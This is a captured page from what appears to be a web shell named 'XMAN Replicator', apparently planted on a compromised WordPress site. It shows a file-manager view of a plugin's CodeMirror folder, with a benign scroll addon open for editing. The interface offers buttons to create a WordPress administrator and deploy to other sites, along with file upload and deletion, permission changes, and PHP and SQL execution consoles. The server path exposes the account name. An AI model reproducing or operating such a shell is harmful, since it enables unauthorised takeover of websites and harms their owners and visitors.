🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
home
/
rlinfolily
/
www
/
wp-content
/
plugins
/
profile-builder
/
assets
/
lib
/
codemirror
/
addon
/
scroll
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2018-01-10 14:44
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2018-01-10 14:44
🔄
🗑️
🗑️📁
⬇️
🔒
scrollpastend.js
1,012 B
-rw-r--r--
2018-01-10 14:44
✏️
🔄
🗑️
⬇️
🔒
Edit: scrollpastend.js
(function() { "use strict"; CodeMirror.defineOption("scrollPastEnd", false, function(cm, val, old) { if (old && old != CodeMirror.Init) { cm.off("change", onChange); cm.display.lineSpace.parentNode.style.paddingBottom = ""; cm.state.scrollPastEndPadding = null; } if (val) { cm.on("change", onChange); updateBottomMargin(cm); } }); function onChange(cm, change) { if (CodeMirror.changeEnd(change).line == cm.lastLine()) updateBottomMargin(cm); } function updateBottomMargin(cm) { var padding = ""; if (cm.lineCount() > 1) { var totalH = cm.display.scroller.clientHeight - 30, lastLineH = cm.getLineHandle(cm.lastLine()).height; padding = (totalH - lastLineH) + "px"; } if (cm.state.scrollPastEndPadding != padding) { cm.state.scrollPastEndPadding = padding; cm.display.lineSpace.parentNode.style.paddingBottom = padding; cm.setSize(); } } })();
Save
PHP Console
Execute
SQL Console
Execute